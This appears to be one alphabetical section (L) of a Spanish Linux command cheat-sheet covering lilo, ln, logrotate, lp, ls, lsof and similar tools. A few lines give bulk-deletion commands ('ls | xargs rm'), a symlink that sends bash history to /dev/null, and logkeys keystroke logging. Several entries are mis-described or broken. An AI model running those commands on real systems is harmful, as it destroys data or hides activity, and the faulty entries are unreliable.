Name=Default Xsession
Exec=mate-session
Icon=
Type=Application
```

## light-locker-command

Protector de pantalla.

```
$ light-locker-command -t 3
que se ejecute a los 3 minutos
```

```
$ light-locker-command -l
inmediatamente
```

```
$ light-locker-command -d
desactivarlo
```

## lilo

Gestor de arranque. La configuración en:

```
# nano /etc/lilo.conf
```

Algunos parametros a especificar:

```
# Indica que se instale en determinado disco:
```

```
boot = /dev/sda
```

```
# El sistema que arrancará por defecto [el especificado en la etiqueta [label]]
```

```
default = Linux
```

```
# Que muestre cualquier cosa que sea referenciado en la línea message:
```

```
prompt
```

```
# Una imagen. Medidas 640x480:
```

```
bitmap = /boot/slack.bmp
```

```
# un mensaje de inicio:
```

```
message = /boot/boot_message.txt
```

```
# tiempo de espera para arrancar la partición por defecto [en segundos]:
```

```
timeout = 50
```

```
# Una partición linux
```

```
image = /boot/vmlinuz
```

```
root = /dev/sda2
label = Linux
read only
```

```
# nota: read-only Indica que el sistema de ficheros raíz se montará en modo solo-lectura.
```

```
# Por norma general, el proceso de arranque lo remonta luego en modo lectura-escritura.
```

## L

```
# Una partición windows:
```

```
other = /dev/hda1
```

```
label = Windows
```

```
table = /dev/sda1
```

Si queremos una contraseña para entrar en alguno de los sistemas colocamos en su entrada:

```
password = 12345
```

Cualquier modificación en este archivo para guardar los cambios, implica lanzar:

```
# lilo
```

## lilypond-doc-html-es

Documentación HTML en español del software de composición tipográfica de música lilypond. Acceder con el navegador a la dirección:

```
file:///usr/share/doc/lilypond/html/Documentation/changes/index.es.html
```

## lilyterm

Emulador de terminal.

```
$ lilyterm -g 90x10 -T terminal -t 3 -d /home/usuario
```

Con determinadas medidas, título, 3 pestañas y abriendo en las tres un directorio

Algunos atajos:

```
Ctrl + t (Abrir nueva pestaña)
```

```
Ctrl + d (Cerrar pestaña)
```

```
Ctrl + RePag (Ir a pestaña anterior)
```

```
Ctrl + AvPag (Ir a pestañas siguiente)
```

## line

Utilidad que copia una línea desde el inicio hasta el final desde la entrada estándar a la salida estándar. Siempre imprime al menos una nueva línea y devuelve un estado de salida distinto de 0 en EOF o error de lectura

```
$ line
linux es genial
linux es genial
-----
$ echo $?
0
-----
$ line
^C
-----
$ echo $?
130
-----
$
```

## link

Crear enlaces entre ficheros.

```
$ link fichero1 fichero2
```

crea un enllace fichero2 que apunta a fichero 2

## links2

Navegador.

```
# links2 -driver fb -g web.com
modo gráfico en el las tty con framebuffer
```

Atajos

```
g (Especificar dirección URL a cargar)
z (Retroceder en el historial, ir a la página anterior)
Ctrl + r (Recargar la página)
s (Administrar marcadores)
Ctrl + s (Detener todas las conexiones)
q (Salir del programa)
/ (Buscar un texto en la página, a partir de la posición actual)
? (Buscar un texto en la página, desde la posición actual)
n (Ir a la coincidencia de búsqueda siguiente)
N (Ir a la coincidencia de búsqueda anterior)
\ (Alternar entre texto sin formato y HTML)
= (Ver información de la página)
| (Ver información de cabecera. Etiquetas META del HTML))
f (Ver marco (frame) actual en pantalla completa)
c (Copiar dirección URL del enlace actual)
d (Descargar contenido del enlace actual)
i (Ver imagen del enlace actual si el enlace apunta a una imagen)
I (Descargar imagen del enlace actual si el enlace apunta a una imagen)
```

## lintian

Muestra fallos en construcción de paquetes .deb [según la política de Debian]. Puede que algunos warnings [W] y errores [E] solo significan que el paquete no sigue los estandares marcados pero no afectan a su ejecución:

```
$ lintian paquete.deb
```

## linux-boot-prober

Intentará averiguar cómo arranca la partición raíz especificada.

```
# linux-boot-prober /dev/sda1

/dev/sda2:/dev/sda1:Linux:/vmlinuz:/initrd.gz:root=/dev/sda1
```

## linux-check-removal

Comprobar si la eliminación de un kernel es segura. está pensado para ser llamado desde los scripts prerm maintainer de los paquetes del núcleo Linux. Los scripts preinst, postinst, prerm y postrm de Debian son scripts que se ejecutan automáticamente antes o después de instalar o eliminar un paquete .

```
# linux-check-removal 5.10.0-8-amd64
si se quiere eliminar manualmente un kernel viejo
```

## linux-update-symlinks

Como linux-check-removal está pensado para ser llamado desde los scripts postinst y postrm maintainer de los paquetes del núcleo Linux. El script postinst debe pasar el primer argumento install o upgrade dependiendo de si se ha realizado una nueva instalación o una actualización.

```
# linux-update-symlinks upgrade 6.1.0-10-amd64
```

## linuxinfo

Muestra información del sistema: versión del kernel, número y tipo de procesadores, versión de la biblioteca del sistema (libc o glibc).

```
$ linuxinfo
```

## linuxlogo

Muestra datos de la cpu junto al logo de distintas distros. Listado en /etc/linux\_logo.conf

```
$ linuxlogo -a
En monocromo ascii
```

```
$ linuxlogo -b
tipo banner
```

```
$ linuxlogo -L ubuntu
De una distro concreta
```

```
$ linuxlogo -L random_xy
logo aleatorio dentro de los disponibles en /etc/linux_logo.conf
```

```
$ linuxlogo -L random_ba
aleatorio y en ascii
```

```
$ linuxlogo -L redhat -F "Redhat linux 5.2\nkernel version 3.2.0-4-amd64"
Especificando logo y texto
```

## linux-version

Muestra los kernels instalados en el sistema.

```
$ linux-version list
los lista todos
```

```
$ linux-version list | linux-version sort --reverse
lista los kernels y ordena del más nuevo al más viejo
```

## liquidprompt

Ofrece un prompt modificado con información y coloreado.

```
$ liquidprompt_activate
```

```
$ liquidprompt_on
activarlo
```

```
$ liquidprompt_off
desactivarlo
```

## listres

Genera una lista de la base de datos de recursos de un widget. La lista muestra la clase en la que se define por primera vez cada recurso, el tipo y la instancia. Si no se proporcionan widgets específicos se imprimirá una lista de nombres de widgets y sus jerarquías de clase.

```
$ listres -all
todos
```

```
$ listres -variable core
que los widgets se identifiquen por los nombres de las variables de registro de clase
```

## listserialportsc

Listar los puertos serie del pc. La salida contiene campos vid/pid/iserial.

```
$ listserialportsc
```

## lmbench

Herramienta para probar el rendimiento de un sistema. La primera vez que se ejecute hará varias preguntas [las opciones por defecto son suficientes] y algunos chequeos. Su ejecución lleva bastante tiempo.

```
# lmbench-run
```

## ln

Cear enlaces de archivos o carpetas

```
$ ln -s /home/ct/videos /home/Desktop/videos
Crea un enlace a videos en Desktop
```

```
$ ln -f
Borra los ficheros de destino si ya existen
```

```
$ ln -i
Pregunta antes de borrar ficheros de destino existentes
```

```
$ ln -s /dev/null ~/.bash_history
vincular historial a /dev/null
```

```
$ ln -sf /opt/metasploit/msf* /usr/bin
Crear un enlace a /usr/bin de todos los ejecutables que empizan por msf del directorio /opt/
metasploit
```

## lnav

Visor avanzado de archivos de registro normalmente situados en /var/log/.

```
# lnav /var/log/
sobre todos los logs del sistema
```

```
# lnav /var/log/syslog
sobre un log concreto
```

```
# lnav -r /var/log/auth.log
incluir archivos comprimidos en la salida
```

```
# lnav /var/log/auth.log -d auth.txt
mandar la información de depuración a un archivo
```

Algunas teclas de control:

- e (saltar al mensaje de error siguiente)
- w (saltar al mensaje de advertencia siguiente)
- b (página anterior)
- Espacio (página siguiente)
- g (moverse a la parte superior/inferior de la página)
- p (detalle del log del cursor)
- G (salir)



## lnstat

Proporciona estadísticas de redes. Es un sustituto del antiguo programa rtstat.

```
# lnstat -c 3
realiza 3 muestras
```

```
# lnstat -d
Lista de opciones
```

```
# lnstat -k entries
Muestra solo esta opción
```

```
# lbstat -i 2
2 segundos entre muestra y muestra
```

## lo

Abrir documentos o herramientas de libreoffice

```
$ lowriter -o archivo.odt
```

```
$ lowriter --convert-to pdf:writer_pdf_Export --outdir /home/USER/dir dotemacs
Pasar el archivo dotemacs a pdf y colocarlo en el directorio "dir"
```

```
$ loffice --headless --convert-to odt:"writer8" archivo.docx
Convertir un docx a odt
```

```
$ loffice --infilter="writer_pdf_import" --convert-to doc archivo.pdf
pasar un pdf a doc
```

```
$ localc --headless --convert-to txt:"Text - txt - csv (StarCalc)" archivo.xlsx
Convertir un xls a txt
```

```
$ localc --convert-to pdf archivo.ods
convertir a pdf un ods
```

```
$ localc -o archivo.ods
```

```
$ lomath -o archivo.odf
```

```
$ lodraw -o archivo.odg
```

```
$ loimpress -o archivo.odp
```

```
$ loweb -o archivo.html
```

## loadkeys

Modificar la distribución del teclado. Afecta a las tty. Para las X el comando es setxkbmap.

```
# loadkeys es
```

```
# loadkeys /usr/share/kbd/keymaps/i386/qwerty/es.map.gz
```

Nota.- Para encontrar la ruta al mapa de teclado:

```
# find / -iname es.map*
```

## locale

Información sobre los idiomas del sistema

```
$ locale -a
muestra los idiomas disponibles
```

```
$ locale -m
mapas de caracteres que tenemos en el sistema
```

## L

```
$ locale | grep LANG=
muestra el idioma por defecto
```

```
$ locale
Muestra los idiomas actualmente en uso
```

En algunas distros [Arch] es preciso crear el archivo:

```
# nano /etc/locale.conf
```

Y añadir el idioma escogido:

```
LANG="es_ES.UTF-8"
```

El idioma tiene que estar descomentado en `/etc/locale.gen` y luego generado por `locale-gen`

## localectl

Controlar la configuración regional del sistema y la distribución del teclado

```
$ localectl status
```

```
$ localectl list-locales
```

## locale-gen

Reconfiguración automática de los locales

```
$ locale-gen
```

## localepurge

Elimina e impide la instalación de los paquetes de idiomas y páginas man que no hemos escogido.

```
# localepurge
```

En arch:

```
# nano /etc/locale.nopurge
```

Comentar la línea:

```
#NEEDSCONFIGFIRST
```

Y al final del fichero, suprimir o comentar los existentes y colocar los de nuestra elección, por ejemplo:

```
ca_ES.UTF-8
```

```
ca_ES.ISO-8859-1
```

```
ca_ES.ISO-8859-15@euro
```

```
es_ES.UTF-8
```

```
es_ES.ISO-8859-1
```

```
es_ES.ISO-8859-15@euro
```

Una vez realizados los ajustes, lanzar la aplicación.

## locate

Buscar archivos

```
$ locate parida.txt
```

```
$ locate firefox/plugins
```

## location

Consultar la base de datos de IPFire [base de datos de geolocalización de Internet] y determinar la ubicación en función de su dirección IP.

```
$ location update
recargar la base de datos
```

```
$ location list-countries --show-continent --show-name
listado de todos los países con su nombre y continente al que pertenecen
```

```
$ location lookup 2.142.97.159
localizar una IP
```

```
$ location search-as "linux"
Buscar un sistema por nombre
```

## lockout

Herramienta que impone disciplina para que pueda realizar algún trabajo. Por ejemplo, el bloqueo se puede utilizar para instalar un firewall que no le permita navegar por la Web. El bloqueo cambia la contraseña de root durante un período específico; esto le impide eliminar secretamente el firewall y luego navegar por la Web de todos modos. En caso de emergencia, puede reiniciar su computadora para deshacer los efectos del bloqueo y restaurar la contraseña de root original.

```
$ lockout
muestras varios advertimientos sobre la aplicación:
```

```
!! ADVERTENCIA !!
```

```
Este programa es MUY PELIGROSO.
```

```
$ lockout lock 2h30m
cerrar en 2 horas 30 minutos
```

```
$ lockout status
mirar el estado de la aplicación
```

## logcheck

Herramienta que analiza periódicamente todos los logs del sistema. En la instalación ya se instala como una tarea en el cron en el fichero /etc/cron.d/logcheck.

Para recibir correos con los informes, Editar el fichero:

```
# nano /etc/logcheck/logcheck.conf
```

y descomentar o completar las líneas:

```
DATE="$(date +%d-%m-%Y %H:%M)"
SENDMAILTO="tu@direccion.com"
REPORTLEVEL="paranoid"
MAILASATTACH=1
```

## loggedfs

Sistema que puede registrar cada operación que ocurre dentro de un directorio y sus subdirectorios. loggedfs está basado en fuse y solo envía un mensaje a syslog cuando lo llama fuse.

```
$ loggedfs -f -p /home/user/Documentos
probar el comando sin instalar un archivo de configuración. Mostrar ruta absoluta al directorio
```

```
$ loggedfs -c .config/loggedfs/loggedfs.xml -p /home/user/Documentos
especificando el archivo de configuración
```

```
$ loggedfs -l /var/log/loggedfs.log -c .config/loggedfs/loggedfs.xml -p /home/user/Documentos
especificando archivos de logs
```

```
$ fusermount -u /home/user/Documentos
terminar el registro
```

Nota.- Descomentar la línea "user\_allow\_other" en el archivo /etc/fuse.conf

## logger

Enviar mensajes al demonio syslogd

```
$ logger -i -t gnome-terminal -f /var/log/messages inicio terminal
escribirá en el registro el mensaje inicio terminal como remitido por gnome-terminal y guardando el PID
```

## login

Solicitar la contraseña de usuario.

```
$ login -f usuario
Inicia nueva sesión dentro de la actual
```

## loginctl

Realizar una introspección y controlar el estado del administrador de inicio de sesión de systemd.

```
$ loginctl list-sessions
```

```
$ loginctl session-status 1
```

```
$ loginctl lock-sessions
pide contraseña y suspende pantalla
```

```
$ loginctl -a
muestra las propiedades de sesión/usuario independientemente de si están configuradas o no
```

```
$ loginctl list-users
lista los usuarios con sesión abierta
```

```
$ loginctl -psessions
muestra todas las sesiones abiertas
```

```
$ loginctl seat-status
muestra todos los procesos que están relacionados con el asiento
```

Nota.- "Seat" permite conectar varios conjuntos de hardware (ratón, teclado, pantalla) y utilizarlo por varios usuarios al mismo tiempo. Por lo general, esta función no se utiliza y la utilidad muestra solo un "asiento".

## logkeys

Registrar las pulsaciones que se realizan en el teclado. Descarga de <<https://github.com/kernc/logkeys>>

```
$ touch test.log
crear el fichero donde gaurdar las pulsaciones
```

```
$ logkeys -s -m es.map -o test.log
arrancar la aplicación, con teclado español y guardar en el archivo creado
```

```
$ logkeys -k
parar y consultar test.log
```

Nota.- Los mapas de teclado para descargar estan en <<https://github.com/kernc/logkeys/tree/master/keymaps>>

## logname

Devuelve el nombre del usuario actual

## logout

Cerrar sesión de usuario. En las ttys, las cerrará para volver a entrar el login.

```
$ logout
```

## logresolve

Resolver direcciones IP a nombres de host en archivos de registro de Apache. Para minimizar el impacto del servidor de nombres, logresolve tiene su propia caché interna de tablas de control. Esto significa que cada número IP sólo se buscará la primera vez que se encuentre en el archivo de registro.

```
# logresolve < /var/log/apache2/access.log > logresosolve.txt
```

## logrotate

Rotación, compresión y correos del sistema de logs.

```
# logrotate -d /etc/logrotate.conf
Verificación del correcto funcionamiento
```

```
# logrotate -f /etc/logrotate.conf
forzar la verificación
```

Ejemplo típico para rotar logs de fail2ban:

```
# nano /etc/logrotate.d/fail2ban

/var/log/fail2ban.log {
    weekly          # rotado semanal
    rotate 4        # numero maximo de ficheros rotado
    compress        # comprimir cuando se rote
    notifempty      # no rotar el log si esta vacio
    missingok       # continuar sin error si el fichero no existe
    create 640 root adm    # permisos, propietario y grupo del fichero rotado
    postrotate      # tarea a realizar despues del rotado
        fail2ban-client flushlogs 1>/dev/null
    endscrip
}

1.-
```

## L

---

Por defecto, se añade un numero al fichero rotado. Si queremos que se use la fecha:

```
# nano /etc/logrotate.conf
```

Añadir la linea:

```
dateext
```

## logsave

Guardar la salida de una orden en un archivo de registro.

```
$ logsave -a file.log ifconfig
```

```
Añadiendo la salida al contenido existente
```

## logstalgia

Software para visualizar ficheros de log que registra las peticiones de los visitantes al servidor web como si fueran pelotas que van llegando del lado izquierdo, el servidor simula ser una raqueta que devuelve las peticiones con códigos como 200 (OK) 302 (redirigido a) o el 404 (no encontrado).

```
# logstalgia /var/log/apache2/access.log
```

## logtool

Analizador de archivos de registro y generador de informes de estilo syslog, capaz de producir ANSI, ASCII, CSV, HTML o simplemente resultados sin formato.

```
$ cat /var/log/messages | logtool -t -s -p short -o HTML > /home/pep/logs/messages.html  
formato de la hora corto [HH:MM] y no mostrar el campo "fuente" ni el campo "programa"
```

## logtop

Herramienta para analizar el archivo de registro de logs como entrada.

```
# tail -f /var/log/apache2/access.log | logtop
```

## logwatch

Analiza los archivos de logs del sistema. El sistema está pensado para que toda la configuración sea especificada en /etc/logwatch y estas directivas sobrescriban a las que están en /usr/share/logwatch. Copiamos la configuración básica:

```
# cp /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf
```

Los servicios y qué ficheros de log es capaz de procesar logwatch en /usr/share/logwatch/default.conf/logfiles y la configuración de logwatch para cada servicio en /usr/share/logwatch/default.conf/services.

Configuración básica sin envío por email:

```
# nano /etc/logwatch/conf/logwatch.conf
```

```
# indica el directorio donde tomara los logs
```

```
LogDir = /var/log
```

```
# Salida {mail|stdout|file}
```

```
Output = file
```

## L

```
# formato de la salida {html|text}
```

Format = text

```
# Indicar que busque información en los archivos /var/log/message.1 o /var/log/messages.1.gz y no solo en /var/log/messages
```

Archives = Yes

```
# Día a analizar {Yesterday|Today|all}
```

Range = All

```
# Detalles de los logs (0-10) |
Low, Mid, High
```

Detail = 8

```
# Servicios monitorizados {service_name|all}
```

```
# Service = fail2ban (Especificando servicio o todos):
```

Service = All

Notas.- Es posible poner todos los servicios y descartar algunos con Service = --fail2ban. Si el archivo de logs no está en el fichero especificado editar el servicio concreto de /usr/share/logwatch/default.conf/services y modificarlo.

```
# mkdir /var/cache/logwatch
Crear el directorio, si no existe, donde se guardarán las carpetas con los informes
```

Lanzar logwatch cada hora:

```
# crontab -e
```

Y colocar la línea:

```
0 1 * * * root /usr/sbin/logwatch
```

## lolcat

Colorear texto.

```
$ bash | lolcat -a -s 250
```

```
$ fortune | cowsay -f tux | lolcat -s 64
```

```
$ ls | lolcat -a
```

## look

Muestra entradas del diccionario que comienzan por esa palabra [/usr/share/dict/words]

```
$ look palabra
```

## lookatme

Herramienta de presentaciones extensible basada en terminal que representa documentos Markdown y admite temas, resaltado de sintaxis, recarga de fuentes en vivo y manual y puede incrustar archivos externos y terminales en vivo en diapositivas. Algunos ejemplos de la propia aplicación:

```
$ lookatme /usr/share/doc/lookatme/examples/file_loader_ext/example.md
```

```
# lookatme /usr/share/doc/lookatme/examples/terminal_ext/example.md
```

```
# lookatme /usr/share/doc/lookatme/examples/progressive.md
```

## lorem

[libtext-lorem-perl]

Crear textos aleatorios a partir del famoso lorem ipsum.

```
$ lorem -p 4
Generar 4 párrafos
```

```
$ lorem -w 10
Generar 10 palabras
```

```
$ lorem -s 2
Generar 2 sentencias
```

## losetup

Programa para mostrar información sobre los dispositivos /dev/loop. Útil para saber donde se montan ciertos ficheros .img

```
$ losetup
muestra dispositivos /dev/loop y el fichero asociado
```

```
# losetup -a
muestra toda la información de los dispositivos /dev/loop
```

```
# losetup --find --show fichero.img
Encuentra y muestra a que dispositivo está asociado un fichero img
```

## lost+found

Carpeta donde el sistema almacena archivos marcados como dañados después de una comprobación de disco realizada con el comando fsck.

## lp

Gestión de impresoras y trabajos de impresión. Aunque los comandos lp y lpr son distintos pero relacionados se han tratado en el mismo espacio.

```
$ lp fichero
imprime fichero con la impresora predeterminada
```

```
$ lpr fichero
Imprimir un fichero
```

```
$ lpr -P Otra_impresora fichero
Especificando una impresora
```

```
$ lp -d otra_impresora fichero
Imprime con una impresora especificada
```

```
$ lpq
muestra los trabajos pendientes y les asigna un número
```

```
$ lprm 5
borra el trabajo pendiente de impresión especificado [5]
```

```
$ lprm -P HP_psc_1100_series -
Borrar todos los trabajos pendientes de la impresora especificada
```

```
$ lprm -
Borra todos los trabajos pendientes de la predeterminada
```

```
$ lpstat -p -d
```



## L

```
muestra la impresora predeterminada
```

```
$ lpstat -a
muestra todas las impresoras
```

```
$ lpstat -v
indicando ubicación
```

```
$ lp -n 10 fichero
imprimirá 10 copias [opciones de 1 a 100]
```

```
$ lp -P 7,9,12-15 fichero
imprime las páginas indicadas y de la 12 a la 15
```

```
$ lp -o media=A4 fichero
especificando tipo de papel o sobre
```

Opciones media:

Letter US Letter (216x279mm).

Legal US Legal (216x356mm).

A4 ISO A4 (210x297mm).

COM10 US 10 Envelope (241x105mm).

DL ISO DL Envelope (220x110mm).

```
$ lp -o media=Custom.ANCHOXLARGOmm fichero
con un papel de medida indicada
```

```
$ lp -o landscape fichero
rotar 90º la impresión. Imprimir apaisado
```

```
$ lp -o orientation-requested=4 fichero
lo mismo que el anterior
```

1.-

Cuando al intentar imprimir sale el mensaje: Error - Scheduler Not Responding:

```
$ nano .bashrc
```

Y añadir la línea:

```
export CUPS_SERVER=localhost
```

2.-

Archivo de configuración:

```
$ nano /etc/printcap
```

```
lp|Generic dot-matrix printer entry:\
    :lp=/dev/lp0:\
```

```
    :sd=/var/spool/lpd/lp:\
```

```
    :af=/var/log/lp-acct:\
    :lf=/var/log/lp-errs:\
    :pl#66:\
    :pw#80:\
    :pc#150:\
    :mx#0:\
    :sh:
```

## lpadmin

Añadir impresoras.

```
$ lpadmin -p nombre_local -v usb://dispositivo -m driver
```

```
$ lpadmin -x nombre_local  
eliminar una impresora
```

Opciones:

-L (añadir una ubicación [-L "oficina"])

-D (añadir descripción [-D "impresora compartica"])

## lpinfo

Lista los dispositivos o controladores disponibles conocidos por el servidor CUPS. Comandos relacionados: lpstat, cupsreject, cupsenable, cupsaccept, cupsdisable y lpadmin.

```
$ lpinfo -m  
lista los drivers
```

```
$ lpinfo -v  
lista los dispositivos
```

## lpoptions

Información sobre las impresoras en cups

```
$ lpoptions -d HP_psc_1100_series  
Establecer la impresora predeterminada
```

```
$ lpoptions -p HP_psc_1100_series -l  
Ver las opciones de la impresora predeterminada
```

## lpstat

Comprobar el estado de la impresora.

```
$ lpstat -t
```

## lr

Herramienta para generar listados de archivos tipo ls.

```
$ lr -l  
solo directorios incluso los ocultos
```

```
$ lr -llAon | column  
sin los ocultos y ordenados por nombre
```

## ls

Listar archivos de un directorio.

```
$ ls -i
Muestra todos los archivos no ocultos
```

```
$ ls -a
Muestra todos los archivos, incluso los ocultos
```

```
$ ls -l
Muestra permisos, último acceso i propietarios
```

```
$ ls -l
muestra en un listado
```

```
$ ls -F
Muestra a continuación de cada elemento si se trata de un directorio [/], un ejecutable [*] o un
enlace [@]
```

```
$ ls -F | grep '/$'
Lista solo directorios
```

```
$ ls -F | grep -v '/$'
Lista solo los archivos
```

```
$ ls -L
En los enlaces, se muestra el archivo al que apuntan
```

```
$ ls -l PID
Muestra qué está corriendo con el PID especificado
```

```
$ ls -R
recursivamente
```

```
$ ls -Z
listar visualizando los contextos en selinux [ver]
```

```
$ ls -s
Muestra el tamaño
```

```
$ ls -S
Lista por tamaño
```

```
$ ls ../
Listar los archivos del directorio anterior
```

```
$ ls -t
lista por fecha de modificación de más nuevo a más viejo
```

```
$ ls /boot /usr
Lista los dos directorios especificados
```

```
$ ls -ad *.sh
lista los terminados en .sh
```

```
$ ls *.{odt,txt}
Lista los de las extensiones mencionadas
```

```
$ ls -ad */
Lista sólo los directorios
```

```
$ ls -alL /home/usuario/videos
```

```
$ ls -l /lib/modules
muestra los kernels instalados
```

```
$ ls | xargs rm
Eliminar todos los archivos
```

```
$ ls @(*.sh|*.txt)
Sólo mostrará las extensiones especificadas. Precisa activación de los comodines extendidos de
bash con: shopt -s extglob
```

```
$ ls !(*.sh|*.txt) | xargs rm
Elimina todos menos los mencionados
```

## lsat

Herramienta de auditoria de seguridad. Emplea mucho tiempo y crea un fichero de varias megas (lsat.out)

```
$ lsat
```

## lsattr

Muestra los atributos de los ficheros [no los permisos]. (ver chattr)

```
$ lsattr -R /home/usuario  
recursivamente
```

```
$ lsattr -a /home/usuario  
incluye a todos los archivos de los directorios
```

Un ejemplo completo:

```
$ touch archivo.txt (crear el fichero)  
$ lsattr archivo.txt (ver los atributos)  
-----e---- archivo.txt (resultado)  
# chattr +i -A archivo.txt (Agregar el atributo inmutable y que no se modifique el atime)  
$ lsattr archivo.txt (ver los nuevos atributos)  
----i--A-----e---- archivo.txt
```

## lsblk

Muestra información del dispositivo especificado.

```
$ lsblk -a /dev/sda
```

```
$ lsblk -f /dev/sda  
Mostrando etiquetas, uuids y puntos de montaje
```

```
$ lsblk -m /dev/sda  
Mostrando propietarios, grupos y permisos
```

## lsb\_release

Muestra nombre y código del sistema operativo

```
$ lsb_release -a
```

```
$ cat /etc/*-release  
lo mismo
```

## lscpu

Muestra información sobre la cpu

## lsd

listar directorios. Un comando ls con más colorido.

```
$ lsd -a  
mostrar todo incluso los archivos y directorios ocultos
```

```
$ lsd -l -R  
mostrar los archivos, directorios y subdirectorios con sus atributos
```

## L

```
$ ls -l --tree
en forma de árbol
```

```
$ ls -ld --tree
solo mostrar los directorios y en forma de árbol
```

```
$ ls --classic
mostrar parecido a ls
```

## lsdev

[procinfo]. Lista los dispositivos presentes en el sistema y que IRQs y puertos IO (entrada/salida) usan.

```
$ lsdev
```

## lshal

Mostrar elementos en la base de datos del dispositivo HAL [Hardware Abstraction Layer]. Muestra información del firmware, serial server, Bios, kernel, procesador, discos, puntos de montaje, particiones, usb, pci... HAL está en desuso en la mayoría de las distribuciones Linux. La funcionalidad se está fusionando en udev.

```
$ lshal
Información de los dispositivos de HAL en formato largo y detallado)
```

```
$ lshal -l
Lo mismo que el anterior
```

```
$ lshal -s
Muestra el UDI [Dispositivo identificador único]
```

```
$ lshal -st
Lo mismo pero en forma de árbol
```

```
$ lshal -m
Monitor de los dispositivos de HAL mostrando cambios de estado en tiempo real al conectar un dispositivo
```

```
$ lshal -u UDI
Muestra información de un dispositivo específico
```

```
# lshal -t
visualizar los dispositivos organizados en árbol
```

## lshell

shell restrictiva para permitir a usuarios acceder via ssh al sistema limitando sus privilegios. Algunas modificaciones en el archivo de configuración:

```
# nano /etc/lshell.conf

...
[global]
# archivo de logs
logpath      : /var/log/lshell/
...
[default]
...
# Comandos permitidos
allowed      : ['ls','echo','cd','ll','cat','more','nano']
# Mensaje al arrancar
intro        : "*** Entrando en la máquina con privilegios limitados *** Pulsar '?' o '
               help' para listar comandos autoritzados"
# Si el usuario tiene una carpeta personal
home_path    : '/home/USUARIO/'
```

## lshw

Muestra información de toda la máquina

```
$ lshw -html > hardware.html
Mandar la información a un archivo html
```

```
# lshw -C network
Ver los dispositivos de red instalados
```

## lsipc

Muestra información sobre las facilidades de comunicación entre procesos para las cuales el proceso de llamada tiene acceso de lectura.

```
$ lsipc -g -b
mostrar información sobre todos los recursos y mostrarlos en bytes
```

```
$ lsipc -l
```

## lsirq

[utils-linux-extra]. Utilidad que muestra información de interrupciones del kernel.

```
# lsirq -P
resultados en forma de pares clave="valor"
```

```
# lsirq -S
muestra información de softirqs [controladores de interrupciones de software]
```

## lslogins

Mostrar información sobre usuarios conocidos en el sistema.

```
$ lslogins -g USER user
Información del grupo "user"
```

```
$ lslogins -l
listado
```

## lsmod

Listar todos los módulos cargados del kernel, y alguna información adicional de ellos.

## lsmount

Alinea y colorea la salida de /proc/mounts para que sea más cómoda de leer.

```
$ lsmount
```

## lsns

lista información sobre todos los espacios de nombres actualmente accesibles o sobre el espacio de nombres dado.

```
$ lsns -t cgroup
```

```
$ lsns -t pid
```

```
$ lsns -l
```

## lsof

Listar ficheros o procesos abiertos

```
# lsof -i :4662
servicios usados por el puerto 4662 aunque esten a la escucha
```

```
# lsof -X
Desactiva la identificación de conexiones
```

```
# lsof -i@lapipaplana.homelinux.com
verificar conexiones con una máquina
```

```
# lsof -i@88.25.114.11
lo mismo pero especificando la ip
```

```
# lsof -i | grep ssh
Para que muestre solo los que usan el protocolo ssh
```

```
# lsof +D /var/log
Mostrar los servicios que tiene abierto un directorio
```

```
# lsof fichero
Muestra los servicios que tiene abiertos fichero
```

```
# lsof -nPi TCP
Muestra los eventos de red de las conexiones TCP
```

```
# lsof -p PID
Ficheros que tiene abierto determinado proceso
```

```
# lsof -N
Muestra los archivos NFS abiertos
```

```
# lsof -c firefox
Muestra los ficheros abiertos por firefox
```

```
# lsof -P -i -n -sTCP:LISTEN
listado de puertos en LISTEN
```

```
# lsof -i -P | grep -i "listen"
otra forma de listarlos
```

```
# lsof -i tcp -i udp
lista puertos tcp y udp abiertos
```

```
# lsof -Pni | grep LISTEN
chequear puertos abiertos
```

```
# lsof -c bash -r
Monitorizar un proceso
```

```
# lsof -i :631 | awk '{print $1,$2}' | sort -u
muestra pid y demonio del puerto especificado
```

```
# lsof -t -i :22
Muestra el pid del puerto especificado
```

```
# lsof -nPi | txt2html > lsof.html
Mandar la salida a un html para visualizarlo por el navegador
```

Opciones:

```
-P (Muestra los números de puerto en vez de la aplicación que corre en ellos)
-n (Para que no resuelva las IP de las conexiones)
-i (Hace referencia a los eventos utilizados por procesos de red)
-u usuario (Muestra los procesos abiertos por usuario)
-x (Sigue links y puntos de montaje)
1.-
```

Resolver salida:

```
lsof: WARNING: can't stat() tracefs file system /sys/kernel/debug/tracing
Lanzar como root:
```

```
# umount $
mount | grep debugfs | awk '{print $3}'
```

## lspci

Para averiguar todos los dispositivos pci

```
$ lspci | grep Ethernet
listar dispositivos pci relacionados con la red
```

```
$ lspci | grep VGA
conocer la tarjeta gráfica
```

## lspcmci

Muestra los dispositivos pcmci.

## lspgpot

Extraer los valores ownertrust de los llaveros PGP y los lista en formato GnuPG ownertrust.

```
# lspgpot
```

## lspower

[powermgmt-base]. Enumera las fuentes de energía que el sistema conoce y su estado.

```
$ lspower
En un pc de escritorio mostrará: "Sin sensores de suministro de energía; eso es normal en una
computadora de escritorio"
```

## lsscsi

Muestra información de los discos duros y unidades de DVD o tarjetas que tengamos conectados al PC

```
$ lsscsi
Muestra un resumen de las unidades
```

```
$ lsscsi -l
Muestra información extendida de las unidades
```

```
$ lsscsi -L
Muestra información aún más extensa de las unidades, en varias líneas
```

```
$ lsscsi -s
Mostrando la capacidad
```

## lsusb

Ver los puertos USB y los dispositivos conectados a ellos. De vez en cuando ha de actualizarse la lista de los dispositivos reconocidos por nuestro equipo con:

```
# update-usbids
```

```
$ lsusb -d 046d:c00e
De un dispositivo determinado especificando fabricante y producto
```

```
$ lsusb -s 006:002
De un dispositivo determinado especificando bus y número dispositivo
```



## luakit

Navegador web

```
$ luakit
```

```
$ torify luakit
si queremos invisibilidad)
```

En antiguas versiones la configuración era:

Copiar los archivos de configuración:

```
$ cp -r /etc/xdg/luakit .config/
El archivo de configuración de los parámetros generales (página de inicio, motor de búsqueda, ):
```

```
$ nano .config/luakit/globals.lua
Pero a partir de la versión del mayo de 2018 solo se precisa el archivo:
```

```
$ nano .config/luakit/userconf.lua
con el siguiente contenido como ejemplo:
```

```
-- Settings (the commented ones do not [yet] work)

local settings = require "settings"

settings.window.home_page                = "https://lapipaplerna.wordpress.com"

settings.window.scroll_step              = 60

settings.window.zoom_step                = 0.2

settings.window.new_window_size          = "1200x600"

settings.window.load_etc_hosts            = false

-- settings.vertical_tabs.sidebar_width    = 200

settings.webview.zoom_level              = 120

settings.webview.zoom_text_only          = true

settings.webview.enable_webgl            = true

settings.on["youtube.com"].webview.enable_javascript = true

